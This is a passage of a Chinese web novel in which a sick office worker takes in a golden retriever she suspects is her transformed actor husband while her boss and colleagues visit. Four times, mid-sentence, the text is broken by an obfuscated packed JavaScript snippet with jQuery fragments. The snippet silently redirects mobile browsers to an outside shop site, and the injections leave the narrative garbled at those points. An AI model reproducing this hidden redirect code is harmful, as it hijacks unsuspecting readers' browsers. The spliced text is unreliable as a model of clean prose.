明明是大头糊照小土匪第一视角拍的,哪儿美了?那只臭美狗看到秃了块毛对着镜子就能哭,安分拍丑照这种事可能性约等于零。作为狗主人的方铭对自己家的狗完全不熟悉,可齐北宸还能对答如流,结论显而易见了。 得到了目标所有关键信息的裴矜退后一步,笑着说:“你说得对。最近出差辛苦你了,快回家休息去吧。” 方铭暗自松了一口气,拖着拉杆箱一边点头一边往门外走去:“回头见裴主任,待我问阿宸一声好。” 裴矜微笑着目送方铭离开,心里已经拿出小刀,一刀一刀地把齐北宸剌成了生鱼片。 好不好,一会儿回家见分晓。 裴矜马不停蹄地往家冲,一路上想的不是吕恪真厉害就是一会儿怎么收拾齐北宸。当她真站在家门口,打开门的时候,发现里面安静得不像话,一个人都没有。 裴矜没时间陪齐北宸玩猫捉老鼠的游戏了,她站在门口还没换鞋子就拿出手机给他发信息。 裴矜:你什么时候回来?我有事找你。 习惯性秒回的齐北宸再度陷入了无人应答的诡异情况,裴矜一口银牙险些咬碎,握着手机的手微微颤抖。 “小裴回来了,今天挺早啊。” 对门的张阿姨这时推门出来,手里拿着垃圾袋。裴矜立马收起手机去帮忙:“是啊,阿姨。这交给我就好。” 张阿姨笑眯眯的:“谢谢你小裴,总是麻烦你。” “不妨事的。” 裴矜把垃圾袋里的垃圾分类放在本层指定的垃圾桶里,脑海里闪过前几天齐北宸和张阿姨交谈的场景。她倒完垃圾,开口时的嗓音更加沙哑:“张阿姨,前几天你给我先生什么了?他支支吾吾的,我问他都不肯告诉我。” 张阿姨了然一笑:“就是一些普通的衣服鞋子,我之前捡到的时候还纳闷是不是他的,没想到还真的是。” 感觉不对劲的裴矜追问:“阿姨,你是在哪儿捡到的?” 张阿姨带着裴矜往消防通道的方向走了几步:“喏,就是这扇门后面。我看衣服风格像小齐的,但当时我没看到他人,只听到几声狗叫。” 那只狗会是小土匪吗?裴矜认定小土匪的出现不会是无缘无故的,继续问道:“那只狗是您看到在我家门口堵我的那只泰迪犬吗?” 张阿姨回忆了一会儿后摇摇头:“我是先听到狗叫声才过来的,当时没看到狗,只有这一堆衣服,我就先暂时收起来了。”她顿了顿,语气关切地看着裴矜,“小裴啊,你怎么脸色那么差?是不是人不太舒服?” 裴矜自己也感觉嗓子不太舒服,还有些头昏脑涨。她吸了口气,挤出一抹微笑摇摇头道:“可能是昨天熬夜了,我先休息去了,您别担心。” 张阿姨这才回家,裴矜也回到自己家洗了个热水澡,但身体上的不适依旧存在。 大概是感冒了,今天先不瞎折腾了。 万恶之源齐北宸,搞出那么多幺蛾子后居然一条信息都不回。哎,不想他了,身体是革命的本钱,先养好自己,回头还不怕没时间收拾他吗? 打开电吹风,嗡嗡地吹干头发,裴矜吹得有些昏昏欲睡时,门外传来王妈的声音,夹杂在里面的似乎还有一两声犬吠? 怎么会有狗子的叫声?莫非是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694113|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 小土匪? 裴矜赶忙放下电吹风去开门,只见王妈手里提着两袋子菜,身后还跟着一只毛色上好的金毛犬,脖子上挂着一个长方形袋子,一个劲地顶着王妈往门内拱。 王妈被狗子拱得哎哎叫,看到裴矜开门了,往前走了几步:“太太,这狗一路跟着我,甩也甩不掉。问了周围的人,都表示不是自己家的狗,难道是先生或者你养的吗?” 裴矜很肯定自己没有养狗,齐北宸就说不好了。一个前科还没解释清楚的狗男人在这个节骨眼上又不回信息玩人间蒸发了,这要别人怎么想他? 没有见到小土匪,裴矜虽说有点失落,但她从眼前这只金毛犬的眼神里莫名看到了和小土匪一样的眼神。 要命了,如果这狗也是齐北宸派来折磨她的间谍,那她得真诚地建议齐北宸转行了。当演员都那么久了才几十万粉,教狗子分分钟能演出看人深情到能溺毙人的程度,精力都用去哪儿了? 裴矜弯下腰,试探性地伸出手,在大金毛的头顶上虚虚打了个圈。金毛犬不躲也不闪,往上一踮脚,主动往裴矜的手心里蹭。 柔软的狗毛顺滑服帖,没有小土匪那样上头的狗油味,反而带着一股熟悉的清香味?嗯? 裴矜不敢肯定是不是自己感冒鼻塞闻错了味道,她一把捧起狗头又闻了闻,怪异的动作让王妈为之一顿。 裴矜此刻顾不得颜面,太冲着王妈招了招手:“王妈,你有没有感觉这个味道很熟悉?” 王妈迟疑着点了点头,凑近一闻:“这不是我们家洗洁用品的味道吗?” 哦,那么巧啊? 王妈莫名地望着裴矜,裴矜疑惑地盯着狗子,方才还在疯狂甩尾巴的狗子都停止了甩尾举动,两人一狗一时陷入了诡异的沉默中。 齐北宸,你弄了那么多狗过来是在搞什么测试吗? 内心天人交战,把齐北宸骂了个底朝天,但狗子是无辜的。裴矜叹了口气,最后松了口:“没事王妈,大概是朋友寄放的狗,阿宸他忘记和我们说了。” 王妈了然地点点头:“那这狗是要暂住在我们这儿吗?” “嗯,时间不会太久。” “明白了太太,我之前在乡下老家养过狗,我去收拾准备一下。” 听到这个意外之喜的裴矜才是真松了一口气。 太好了,这一回合她不是一个人在战斗,不然以她现在的身体情况和养狗经验条,指不定把这大金毛变成大秃毛。 大金毛进门后表现得很乖,不像小土匪一进门直扑齐北宸的房间,只是一个劲地跟在裴矜身后,仿佛一只狗形雷达。 裴矜坐下,它就坐裴矜旁边,裴矜起身,它立马跟上,不知道的还以为是裴矜养的一条陈年老狗,那么忠心耿耿的。 “咳咳。” 嗓子的不舒服加上刚刚无意间吸入的狗毛,让裴矜感觉更加不适,她起身在医药箱内翻找着药品,打算吃点药压一下。 箱子里摆放着琳琅满目多种多样的药品,其中不乏进口原研药,裴矜看不懂那些专业词汇,正拿着手机拍照翻译时,一只狗爪子把一小瓶药往她的面前推了推。 12. 不安心的养病期 裴矜不是第一次看到一个类人举动在一条狗身上出现了。第一次是疑惑,第二次是震惊,三次往上只能是麻木。 “谢谢你。” 裴矜拿过药撸了下大金毛,面上没太多反应。她对着手机一扫,结果显示还真的是用来治疗感冒咳嗽的,她拿着水吞服后,目光落在了狗子脖子上挂着的长方形袋子上。 袋子是布织的,通体黑色,面料一看就价值不菲,上面还绣着一行金色的花体字——我是乖狗,汪! 齐北宸,你是真没有一点羞耻心,不以此为耻,反以此为荣啊,什么都推给一条狗来做,良心不会痛吗?不过这里面装的是什么东西? 裴矜身子往前倾,手指刚触碰到袋子,原本乖顺的大金毛立即汪了一声,后退几步与裴矜保持着一段距离,身后的大尾巴快速摆动着。 又一个嫌疑狗,这回还和之前的小土匪的横冲直撞不一样,和她玩上心机了。 裴矜的脑袋愈发疼了,既有生理上的,又有心理上的。调皮捣蛋放在明面上的好搞,这种大概率是装乖的才难对付。 就当裴矜和大金毛在进行“深情对视”的时候,手脚麻利的王妈已经收拾好了一切。从狗子的食盆,饮水装置,玩具甚至是卫生设置和狗窝都弄好了,没额外花一点钱,全是在上次小梅屋宠物店购入的道具上加以改进的成果。 事情做完照理应该走人的王妈并没选择和往常一样立即走人,她走近了几步,弯下腰有些担忧地望着裴矜:“太太,你的脸好红,快点休息去吧。先生知道你的情况吗?需不需要我去打个电话给他,让他早点回来陪你?” 被打断注意力的裴矜拿出手机一看,齐北宸的消息界面依旧空白一片,随之摇摇头:“没事的王妈,你先回去吧,我一个人没问题的。” “那怎么行。”王妈轻轻瞪了裴矜一眼,口气也变了些许,“太太你总是说没事的,但你也是个人,生病了需要人照顾是人之常情。要是先生不回来,今天我就不走了,我留下来陪你。” 裴矜准备好的客套话堵在喉咙口吐不出来。王妈和她不过相识几个月,对方却能在这个时候说出这样一番话来,对她而言比什么药都来得有效。 裴矜到底是裴矜,别人给面子关心是一回事,刻在骨子里的不想讨人手脚基因再度发动:“我都吃过药了,小毛小病,休息两天就好了,不骗你。” 说着,裴矜还摸了摸大金毛的头:“阿宸是不在,可我不是一个人,这个孩子刚刚还知道给我翻药吃,你就放心吧。” “狗还会找药?”王妈听得一愣一愣,眼睛对上大金毛无比真诚的大狗脸,又看了看裴矜固执己见的模样,最终叹了口气,“那我明天早上会早点过来的,太太,你真的不能太拼了。” 有人关心自己的感觉真好。 “我会的,谢谢你,王妈。” 裴矜本来还想问问王妈关于齐北宸让她寄快递的事,身体的不适和王妈的关切都让她不知从何开口,只好暂且按下不表。 王妈走后,本就安静的室内静得落针可闻。裴矜看了眼手机,齐北宸还是没回复,自己也不知道是因为药物作用还是积累了的疲劳病毒一同大爆发了,整个人都在发烫。 她仰卧在床上,床头备好了一杯水和药片,趁自己还没烧迷糊前给自己上司发了一条消息。 裴矜:抱歉领导,我刚刚忽然感觉人不太舒服,明后天我要请两天假。请假流程我会晚一点补上来的。 她发完消息等了五分钟,领导就和齐北宸一样没有任何回应。 不等了,先睡一觉。 裴矜闭上双眼前,模模糊糊地看到一只大金团在自己床边晃,药物的作用让她的眼皮更加沉重。 意识离开之前,裴矜的手伸出床沿,触及一片软毛:“乖宝,你自己要照顾好自己,我要睡一会儿。”说完不到一分钟,裴矜就陷入了睡梦之中。 与其说这是个梦,不如说是在回顾自己的过去。 梦里的裴矜回到了自己初三读书的时候。她的身体算不上强健,但很少发烧生病,初三那场突如其来的高烧属实意外。 当时裴矜自己还养着一只小乌龟,每天都会给它喂食,定期给它换水。乌龟不过人的一半巴掌大,困在方寸之间,每天的活动就是爬上一座人造的小岛,抬头看一眼塑料的椰子树。 裴矜有些羡慕小乌龟,至少它每天都有个期望,不像自己,从小到大听到最多的一句话就是“你要好好读书,考个好大学”。 大学是什么?裴矜小小的脑袋里尚不能消化父母对这个词的定义,但她知道,只要步调安稳地去读书、考试,父母就会夸奖她。 然而那场发烧却打破了家里既定前行的模式。 裴矜的爸爸得知女儿发烧生病,推掉了好不容易接手的课题,妈妈也特意请了两天假回家照顾裴矜。小裴矜红着一张脸,虚弱地躺在床上,看着父母担忧的眼神,怯生生地说出一句:“我会努力好起来的。” 父母听闻皆是一愣,二人几不可闻地叹了口气,替裴矜擦拭完额头的汗珠,掖好被子,又说了好一阵体己话。 要是能一直生病下去就好了。 小裴矜的心愿没有被听到,几天后,她痊愈了,可是她的小乌龟不见了。 小裴矜哭得很伤心,父母安慰她,乌龟不是死了,是爬缸离家出走了,她这才停止了哭泣。 一条鲜活的小生命在自己看不到的地方存活,远比死在自己面前要容易接受。 她抬起手摸了摸自己的脸颊,湿漉漉又带着一股热气的喘息声在耳边回荡。 等一下,哪儿来的喘息声? 裴矜费力地睁开眼时,床头的闹钟指向了午夜十二点半。昏暗的房间里仅有一盏小夜灯发出昏暗的光,一双黑曜石般的特大号狗脸呈现在她的面前。 吓死了,还以为是什么东西入侵了!裴矜下意识去摸东西准备防御的手停了下来,转而轻轻摸了下狗子的头,大金毛蹭了蹭她的手掌后用舌头舔舔她的手指,随即叼着一块被毛巾包裹的圆柱形物体放在她的床边。 裴矜有点疑惑地接过,毛巾是齐北宸自己常用的那一条,摸上去冰冰凉凉的,里面还裹着一罐运动饮料,也是齐北宸常喝的牌子。 “汪!汪!” 金毛在她打开毛巾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694114|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 的同时冲着她叫,还用前爪把毛巾和饮料往前推了推。 饮料一直放在冰箱里,以狗子的行动能力去操作实在是有点费劲。一只才到家几小时的陌生狗会如此体贴人,又是递药又是给她投喂运动饮料平衡身体里的电解质吗? 裴矜摇摇头。要不是这狗子真的是狗子,她都要以为这狗子是齐北宸变的了。哎,她大概是烧糊涂了才会冒出那么荒唐的想法。 打开饮料,心里默默记下回头要一模一样给齐北宸赔一罐,又用冰毛巾擦了一把脸后放在额头上降温,裴矜再度躺下的时候感觉人似乎没那么难受了。 黑暗中,大金毛的那对眼睛像探照灯一样清晰可见。它没有躺在王妈在房间外侧给它准备的狗窝,而是就地躺在裴矜床侧的地毯上。 裴矜的床铺要高上许多,她半合着眼睛,有一搭没一搭地和狗子聊天:“乖宝,你爸你妈呢?” 狗子不语。 裴矜料想它也不会回答,随口又问:“那你的主人呢?” 狗子立马从蜷缩的状态伸展开来,又一次舔了舔她的手。 它是把自己当成主人了吗?那她这个主人当得挺不靠谱的,见面第一天就让狗给照顾了。 裴矜轻笑一声,没再多说。她闭上眼睛一下一下地摸着狗子的头,渐渐沉睡。 这一觉睡下去,裴矜没有做任何梦。 裴矜再度睁开眼的时候已经是第二天了,厨房的那端飘来一股好闻的食物香味,不看也知道是王妈的手艺。 床边的金毛犬露着半个肚子依旧睡在地毯上,这乱七八糟的睡姿和小土匪竟有几分相似。狗耳朵在听到裴矜起床的动静时微微一甩,狗子还没睁开眼,下意识就站了起来,一颗毛茸茸的大狗头搁在床沿边。 舒舒服服睡了一觉的裴矜精神好了一点,她双手捧着金毛犬的头,像揉面团一样揉了揉:“昨天晚上辛苦了,醒一醒,一会儿给你吃皇家狗粮。” “汪呜~” 一人一犬前后脚来到卫生间,洗漱完毕后毕恭毕敬地等待着王妈投喂。 王妈今天给裴矜准备的是鸡丝菜肉粥,鸡肉被撕成丝状,辅以切碎的青菜、香菇,再用少量的盐作为调味。高汤的汤底清澈不腻,米粒饱满,吸汁入味。 裴矜拿起尝了一口就微微睁大了眼睛:“王妈,你这手艺太绝了!好吃!” 她说着,吃相优雅又快速地扫着菜粥,看得一旁的王妈眉开眼笑:“太太喜欢就好,我还多烧了一些。你生病得多补充营养,想吃可以再盛。” 俩人的对话让一旁的狗子垂涎三尺,拖着舌头对王妈摇尾巴:“汪~汪汪!” 王妈老练地把金毛带去一旁准备好的食盆处:“乖乖,那个不是给你吃的。喏,这是特意给你准备的,快吃吧。” “汪呜……” 狗子叫得和泄了气的皮球一样,慢吞吞地一边吃狗粮一边时不时抬头看向裴矜手里的碗。 不想吃狗粮的狗不是一条好狗。裴矜心里对大金毛很感激,但这和追查它的来历是两码事。 吃饱喝足后,裴矜正在脑内复盘她的查夫大计,她的手机屏幕亮了。 13. 意外访客 难道是齐北宸终于回消息了?这狗男人一声不吭玩失踪,也不知道报备一下。 裴矜拿起手机一看,齐北宸的消息有,还有她领导的、唐蜜的、吕恪的,甚至还有几个工作中经常接触的同事们的。 裴矜一一打开,齐北宸的回复给她来了当头一棒。 齐北宸:woyoushiwandianhj 齐北宸:[对方撤回了一条消息] 齐北宸:表情包抱抱.jpg 一个晚上不回家,就从表情包进化到乱码了?裴矜看了一眼平整干净的齐北宸房间,完全不像有人回来睡过觉的样子。 她下意识又看了一眼正在玩玩具的金毛犬。 嗯?狗子昨天脖子上挂着的袋子去哪儿了? 裴矜隐隐回忆起昨天半夜发烧时候自己那个离谱的猜测,如果说狗子真的是齐北宸变的会如何?齐北宸耳后秃了的那块头发和小土匪一模一样,而且这样的话是完全对得上张阿姨提供的时间线,也能解释狗油味的由来。 所以结论是她的老公是个应该被抓去研究所当活体标本供起来的神奇宝贝?这还是她生活的社会主义现代化城市吗?! 只是想了那么一下,裴矜就觉得自己的世界观不好了。一个大男人,说变狗就变狗,这事也太不科学了! 眼睛的余光瞥了一眼在沉浸式和薯条玩具博弈的狗子,脑内把它和齐北宸那张扬的自信模样重叠在一起……嘶,滋味有点酸爽。要是这货真的是齐北宸,那他藏起来的东西莫非是手机? 这样一来,好像能解释通为什么狗子和齐北宸永远二缺一,还有齐北宸诡异的表情包从何而来了,狗爪毕竟比不了人爪。不对,她怎么那么容易就接受了这个荒唐的设定! 裴矜越想越觉得这个揣测让自己头大,她给齐北宸又发了一条“等你回家,我要和你面对面详谈”就揉着眉心去看别的消息了。 王部长是裴矜的顶头上司,也是她的老领导,在昨天收到她的请假申请后,当即表示了同意,并嘱咐她好好休息。 一向以拼命三娘形象示人的裴矜病倒了,几乎公司里所有人的第一反应都是她工作上太拼了,谁曾想某人是熬夜追剧才倒下的。一时间铺天盖地的问候和探望消息全朝裴矜袭来,看得她眼花缭乱。 挨个礼貌回复完同事们,裴矜的情报中心又一次发来最新消息。 唐蜜:报——王部长下午会带着我和吕恪来探病哦~主任记得收拾一下自己哦。 谢谢你唐蜜同学,要不是你及时通风报信,下午可能会收获木乃伊一具。 比起物理消亡,裴矜更恐惧社死,这样的事她是绝对不会允许发生的。老领导是第一次来家访,齐北宸指望不上了,但她还有个强而有力的队友。 有了计划的裴矜冲着卫生间的方向喊了一声:“王妈,有空吗?我有事请你帮个忙。” 裴矜大概和王妈说了下午的情况,王妈心领神会地消化后给出了几个方案。俩人讨论敲定后,王妈负责实操部署,裴矜则去洗了个澡,换了一身衣服,思考着下午可能面临的问题。 焦点不在裴矜自己身上,而是面前这个沉浸式玩玩具的大狗子身上。 裴矜此时特别想摸去齐北宸房里看看是不是他的床底下藏了手机,但那么做就太直接了,会引起狗子的怀疑。 她拿出手机,调大音量后,主动拨通了齐北宸的手机。 房间内静悄悄的,似乎并没有反应。裴矜原本也没指望手机一响,信息全解的easy模式,她和齐北宸的攻坚战都打了多少回合了,加时赛都打完了还没个胜负的局怎么会在短短一夕之间被终结? 她的重点在于要看狗的反应。只要金毛有一点破绽,那么齐北宸不管是金毛本尊还是幕后主使,他回来只需要考虑榴莲和键盘跪哪个的问题就好了。 裴矜耐心地等待观察,但那只大狗仿佛已经被面前的狗玩具给吸引住了,两只前爪来回扒拉倒腾,看都不看裴矜一眼。 莫非真是自己想多了? 盯了几分钟无果的裴矜在移开视角前注意到了一个细节:金毛和小泰迪一样,习惯用左爪胜于右爪,巧合的是,齐北宸本人就是个左撇子。 先前种种蛛丝马迹叠加在一起,这一刻,裴矜野性的直觉压过了现实逻辑。 前因后果她是不知道,但狗子的本体是谁真的好难猜啊,是吧,某位演技派男士? 心里强压下挥之不去的荒诞感,不等裴矜彻底消化完该怎么和狗子老公拆招相处的情绪,门铃响了。 王妈前去应门,只见门口站着一溜三个人。 领头的是裴矜多年的老领导王部长,人不高还是个经典地中海造型,脸上挂着和蔼的笑容。王部长的左后方是提着水果篮子的吕恪,见到王妈和裴矜时露出招牌式微笑礼貌地点点头。王部长的右后方是两只眼珠子转得像滚筒里的小仓鼠一样的唐蜜,裴矜不用开口问都知道她在看什么。 “部长,小唐还有小吕,快进来坐。”裴矜把三人迎进门,吩咐道,“王妈,把茶点端上来。” 王妈应了一声,转身去厨房忙活了。 王部长进屋后粗略打量了一下房间,这才笑眯眯地坐下来:“不用那么麻烦,小裴啊,坐。”他侧头和另外俩人也提了一句,“你们俩也是,别站着了。” 王部长身后的两座雕塑得到了许可,默默坐下放下礼品,安静地看向王部长和裴矜。 王妈端着茶上来,裴矜自觉起身给王部长倒了一杯茶水:“不好意思啊领导,我这小毛小病的还让您和两位同僚大老远的特意跑一次,实在是过意不去。这是今年新上的明前龙井,您尝尝。” 茶碗精致小巧,一看就价值不菲,不用凑近闻,一股清新的茶香味扑鼻而来。王部长略微严肃的脸庞松下来几分,他拿起茶碗先轻嗅了下:“小裴,你说这话就见外了。你是公司的老员工,年轻却不张狂,我和大家都是看在眼里,记在心里的。你这次生病,大家都很关心你的身体,希望你能尽快好起来。” 唐蜜在一旁附和:“是啊主任,部长一大早说你发烧的时候,大家都说要来看你。可也不能倾巢出动,就派了我们几个人做代表。” 裴矜微笑着点点头:“谢谢大家的关心,我吃过药睡了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694115|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 一觉已经好多了。本来就是小毛小病,不碍事的。” “话不能这样说啊,小裴。身体是革命的本钱,地基不打好,怎么盖高楼大厦?你啊,就是太拼了,要学会劳逸结合。” “领导说的是,我会调理好自己的。” “小裴不在的时候,小唐、小吕,你们俩也得多上上心,不能因为小裴是主任就老依赖她。” “啊呀王部长,你就放心吧,我又不是第一天来公司了。” “王部长说的是,我记住了。” 王部长嘴上说着话,眼神始终落在小小的茶碗上。不知不觉,他已品了两杯茶,时不时地点头:“这茶啊,不止清香扑鼻,口感细腻,还回甘绵延,不是普通的明前龙井。这泡茶的人更讲究,水温数量都有意识地在控制,是小裴你的先生泡的吗?” 裴矜摇摇头:“是我们家的阿姨泡的。王妈,麻烦过来一下。” “来了,太太。” 厨房里的王妈闻言擦了擦手,热情地为王部长讲解茶艺,王部长本就对此颇有兴趣,两个中年人越聊越投机,剩下的三个年轻人集体进入放空模式。 受不了了,这里是自己家,想逃也没处去,难道真要扯着假笑和领导奉陪到底? 裴矜还没在心里吐槽完,一旁的唐蜜就先行一步去找乐子了。裴矜从她进门的第一步起就知道,这姑娘找的是什么,只是她不知道自己找的就在她面前晃荡。 从客人进门到现在一声不响的大金毛此刻正在裴矜的卧室门口捏着一只骨头造型的漏食器在转着玩,两只前爪捧着玩具的两端拼命地抖,嘴巴开得老大,还伸着舌头等着接里面落下的狗粮。 齐北宸,你要真是这只狗,现在的吃相大概是可以申请世界吉尼斯记录的难看,不说谁知道你是大少爷,吃得和路边几天滴水未进的小野狗似的。 “啊呀,大狗狗你叫什么呀?我是唐蜜,很高兴认识你,你好哦~” 唐蜜的视线在几个空房间里转了几个圈未果,一眼相中了在用全身力气和漏食器较劲的大金毛。她自来熟地摸摸狗子的脖子,金毛在察觉到后先是瞅了一眼裴矜,随后竟没太多反应? 感觉好像不太对啊。裴矜微微挑眉,继续坐在座位上一动不动地小口品着茶,她对面的吕恪则顺手给她又续了一杯,但裴矜完全没察觉。 没得到预期中反馈的唐蜜并不气馁,她蹲在狗子旁边,“你的色泽很特别”“你是我见过最好看的帅狗”彩虹屁吹了一套又一套。大金毛乍一看维持着一段物理距离,狗尾巴甩到飞起的节奏明晃晃地暴.露了内心真实的想法。 狗改不了吃屎,也就铁杆粉丝唐蜜能如此精准地识别出她偶像的魂在哪儿了,要是她知道之前她见到的人不是“像齐北宸”,而是齐北宸本人,会不会原地起跳? 无意间掌握了多一层信息的裴矜心中暗爽,连带喝茶的速度都快了一点。陶瓷小茶碗放在桌上发出轻轻的一声“嗒”,一双修长好看的手立刻为她续上杯。 裴矜这才发现吕恪默默的服务,抬眼对上他略带疑惑的温柔笑意:“怎么了主任?是我泡得不好喝吗?” 14. 谈判时刻已到 “不会,你的手艺很好,喝起来很舒服。” 裴矜微笑着拿起茶杯,又抿了一口。吕恪的泡茶手法和齐北宸不太一样,齐北宸擅长用多种小料做搭配平衡,而吕恪是用最少的材料泡出顶级的味道。前者讲究比例,后者讲究技法,孰优孰劣并无高低之分,只是裴矜本人泡茶的习惯更倾向于后者。 捕捉到裴矜的研究在看不透明的陶瓷茶壶,吕恪开口解释道:“主任过誉了。来之前听部长说你的身体不舒服,加上前一天看你总在咳嗽,我就自作主张用麦冬和玉竹泡了一壶润肺的茶,你能喜欢就好。” “麦冬微苦,玉竹清甜,看似搭配简单,尝起来一点都不简单。小吕的心意我领了,感谢关心。”裴矜保持着客套礼貌的笑容,心里却有点疑惑。 上次也是,吕恪给她端茶倒水的时候从来不送咖啡只倒茶,虽说比起咖啡因她更喜欢茶叶,但这习惯她也是受自己父亲熏陶才有的。她和吕恪不过相识半年左右,一个外人如何有那么精准的判断力? 裴矜的脑内像两个小人在打架,一个在说她疑心生暗鬼,因为齐北宸这只闹腾狗,导致现在看谁都像可疑分子;另一个在反复告诫自己得和吕恪保持距离,这么轻的年纪心思一眼看不透,不怕一万就怕万一。 裴矜大脑里的UFC大赛还没迎来终点就被裁判官王部长紧急喊cut了。 “没想到小裴也对茶那么有研究啊。”和王妈聊茶聊得热火朝天的王部长看了眼裴矜,又看向吕恪,“小吕就更难得了,你们现在年轻人不是更喜欢喝咖啡吗?” 在沉浸式撸狗的唐蜜立即响应:“我就是咖啡党,怎么你们一个个都选茶叶,搞得我好另类啊。” “汪!” 被唐蜜单手薅住脖颈的金毛犬趁机挤开唐蜜箍住的手,三步并作两步,蹿到裴矜的旁边,紧紧贴着她的大腿站立。一对狗眼在她和吕恪之间转了几个圈后,招呼都不打就舔了舔裴矜的手背,完事还对着吕恪摇着尾巴汪汪叫。 若是没有前面那些超现实地推测,裴矜可能不觉得什么,问题在于她不但推测了,甚至这只大金毛的反应比小泰迪还来劲。 齐北宸,你是个演员,哪怕现在你在狗壳子里也是个演员!这出戏她可没安排,谁准男主角自行加戏的! 偷偷用被狗舔过的手背转个方向,把上面的口水全蹭在大金毛如丝绸般质感的毛发上,裴矜虚虚点了点吕恪的方向,示意狗子:“乖宝,叫人。” 大金毛显摆的大尾巴霎时间停止了摇摆,黑葡萄般的眼睛盯着裴矜看了许久后,转过半个狗头,只露出毛茸茸的下巴和侧脸对着吕恪喊了一声:“汪。” 吕恪想摸金毛的手在半空中停留了片刻,又收了回去。他对着裴矜耸耸肩,嘴角勾起一抹浅浅的弧度:“可能是我这个人不怎么讨狗喜欢吧,上次那只小狗也不愿意搭理我。” “小吕啊,这你就不懂了。”王部长拍拍手,对着狗子张开双臂,“来,过来呀大宝贝。” 别说,部长这招狗的动作还挺标准,要是一般的狗可能真嗷呜一声扑过去了,但问题是这狗子的皮下极有可能是齐北宸本宸,这狗东西才不会因为中年男人拍拍手就……过去了? 裴矜内心腹诽到一半,只见金毛犬非常配合地对着王部长汪汪了两声,不止跑了过去,还是以一个非常标准的狗子扑街式趴在王部长的膝盖上。 整不明白了,齐北宸你是在不同品种狗的马甲里待久了,内里也被夺舍了吗? 一出意外的狗子献宝,裴矜胸闷,吕恪苦笑,王部长欢喜,王妈捂嘴笑。 唐蜜的反应是最直接的,她站起身后轻拍了下吕恪的肩膀:“我原来以为这狗大概是认主才不搭理我们俩,没想到它是挑嘴。年轻的帅哥美女它不爱,偏爱我们部长这样的'熟男款',小帅哥,你还得多练练哦~” 吕恪苦笑一声点点头,算是回答了唐蜜的问题。王妈边笑边开解道:“人嘛,招了这样东西的喜欢,就会招那样东西的厌恶。吕先生,你还年轻,你的福气在后面呢。” 一群人有说有笑,欢声笑语的氛围里,裴矜怎么都融入不进去,她的眼睛死死盯着大金毛蹭领导裤腿的动作。 那不是她刚刚偷偷在狗子身上抹它口水的地方吗?这狗是真不知道,还是假不知道,就这么光明正大地全给回蹭到部长的高级西装裤上去了?! 裴矜捏着茶杯的手不知该放还是继续,这样窒息的社死名场面她难以消化。眼角瞥到热情洋溢的唐蜜,裴矜计上心来。 “乖宝原来喜欢王部长啊,那可不行。”裴矜指了指唐蜜,“这个哥哥你要是不喜欢,那个姐姐你还能不喜欢啊?人家刚刚可是抱着你顺了好久的毛,想和你合影留念的,做狗可不能厚此薄彼。” “就是就是。”唐蜜一听裴矜在帮腔,立马转过头对着狗子招招手,“给个机会呗,乖宝。” 金毛犬趴在王部长的膝盖上侧过半只狗头,眼珠子滴溜溜地转。裴矜在唐蜜的耳边又添了一把柴火:“这狗大名叫男明星,可爱美了,你再哄哄它,一准儿答应你。” 唐蜜眼睛一亮,轻轻点了点头后,双手合十,语气放软:“狗子界最闪亮的男明星大人,求你给我一个合照的机会,好不好呀?” “……汪!” 一番思想斗争后,金毛犬果断选择投向了唐蜜的怀抱,后者如愿以偿地和“偶像”合到了影,气得王部长笑骂“这狗太精了”。 可不是嘛,狗子的壳,狗男人的魂,狗上加狗。 裴矜看得想笑又不能直接笑出声,连连点头称赞唐蜜拍照技术好。 这边两人一狗在玩偶像狗养成,那厢吕恪被两个长辈围住交流茶经,气氛各不相同却也和谐。 唐蜜捧着她家“偶像”的狗头合影合了个爽,一开始大金毛有点摆烂,但后面就一点点放开了,举爪、凹造型,唐蜜想怎么拍它就怎么拍。 “这狗太完美了,比上次那只小泰迪还厉害。”唐蜜翻阅着刚刚拍完的美照,四处瞄了瞄,见那边三个讨论茶道的没看这边,压低声音问裴矜,“主任,你老公呢?” 远在天边,近在眼前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694116|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,可惜唐蜜小姐就是不知道。 